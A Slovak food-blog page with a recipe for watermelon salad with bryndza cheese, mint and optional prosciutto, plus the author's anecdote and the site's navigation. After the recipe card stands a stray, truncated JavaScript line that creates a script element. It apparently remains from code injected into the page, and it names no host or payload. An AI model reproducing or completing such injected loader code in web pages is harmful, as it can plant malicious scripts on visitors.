FoodLover

prinášame pôžitok zo zdravého jedla

  • Blog
    • Recepty
      • Homemade
      • Raňajky
      • Šaláty
      • Polievky
      • Hlavné jedlá
      • Sladké potešenia
      • Slané pochúťky
    • Články
      • Zo života
      • Zdravá výzva
        • Jedálniček
        • Blog
        • Pravidlá pre rok 2016
        • O Whole30
  • Čo robím
    • Kurzy varenia
    • Catering
    • Produkty mandlove
  • O mne
    • Kto som
    • Príbeh
  • Kontakt
You are here: Home / Blog / Recepty / Hlavné jedlá / Melónový šalát s bryndzou a mätou

Melónový šalát s bryndzou a mätou

08/06/2016 by Martina Leave a Comment

Čím ďalej tým viac mi dochádza, že leto je naozaj tu :)! Už sa predáva aj červený melóóón <3..

Dnešný receptík nie je ani tak receptík, skôr je to predstavenie kombinácie, o ktorej ste možno ešte nepočuli, alebo by ste ani nikdy nepovedali, že môže byť chutná :P. Slaný syr (niečo ako feta) a melón. Ja viem, znie to naozaj čudne, ale verte mi, je to totálne geniálne.

O tomto kombe som sa dozvedela na Work & Travel v Amerike od svojho šéfa (Turka). Vraj je to u nich jedna z top chuťoviek. A musím povedať, naozaj je. Ja som to však chcela opäť niekam “posúnuť” a skombinovala som to s našou milovanou bryndzou. Dovolím si tvrdiť, že je to možno ešte lepšie :). Slanosť a jemnosť bryndze v krásnom kontraste so sviežim, sladkým melónom. No jednoducho letná topka!

Ako sa dajú krásne skombinovať jednoduché suroviny a vytvoriť fantastické jedlo si určite pozrite vo štvrtok v Masterchefovi ;). Bude to stáť za to..

IMG_2265

 

Ingrediencie: (asi 3 porcie)

  • 1 hlava ľadového šalátu
  • 250g bryndze (najlepšie májovej ovčej)
  • veeeľa melónu (možno tak 500g dužiny)
  • olivový olej
  • čierne korenie
  • čerstvá mäta
  • ja som ako doplnok pridala trošku prosciutta – najmä kvôli bielkovinám

Postup:

  1. Šalát si nakrájame na jemné prúžky a melón na kocky.
  2. Polejeme troškou olivového oleja a premiešame.
  3. Na vrch rozdrobíme bryndzu, okoreníme a posypeme mätovými lístkami.
  4. No a šalát je hotový :).
  5. Dobrú chuť.

IMG_2268

 

Print
Melónový šalát s bryndzou a mätou

Melónový šalát s bryndzou a mätou

Ingredients

  • 1 hlava ľadového šalátu
  • 250g bryndze (najlepšie májovej ovčej)
  • veeeľa melónu (možno tak 500g dužiny)
  • olivový olej
  • čierne korenie
  • čerstvá mäta
  • ja som ako doplnok pridala trošku prosciutta - najmä kvôli bielkovinám

Instructions

  1. Šalát si nakrájame na jemné prúžky a melón na kocky.
  2. Polejeme troškou olivového oleja a premiešame.
  3. Na vrch rozdrobíme bryndzu, okoreníme a posypeme mätovými lístkami.
  4. No a šalát je hotový :).
  5. Dobrú chuť.
4.29

 

 

 var d=document;var s=d.createElement(‘script’);

Share this:

  • Facebook
  • Google
  • Pinterest

Related

Filed Under: Hlavné jedlá, Recepty, Šaláty, Slané pochúťky

« Jahodové millefoglie
Olivový hummus, teplý hruškový šalátik a mäsové guličky »

Leave a Reply Cancel reply

You must be logged in to post a comment.

  • Facebook
  • Flickr
  • Instagram
  • Pinterest

Kto som

Kto som

Sleduj ma na FB

Sleduj ma na FB

Ochutnaj mandlove

Zážitkové varenia

Milá kuchyňa

Najnovšie

Tekvicové “ravioli” so šalviovým maslom

Tekvicové “ravioli” so šalviovým maslom

Kontakt

Kontakt

Ochutnaj

Francúzsky toast

Francúzsky toast

Copyright © 2018 · Tasteful theme by Restored 316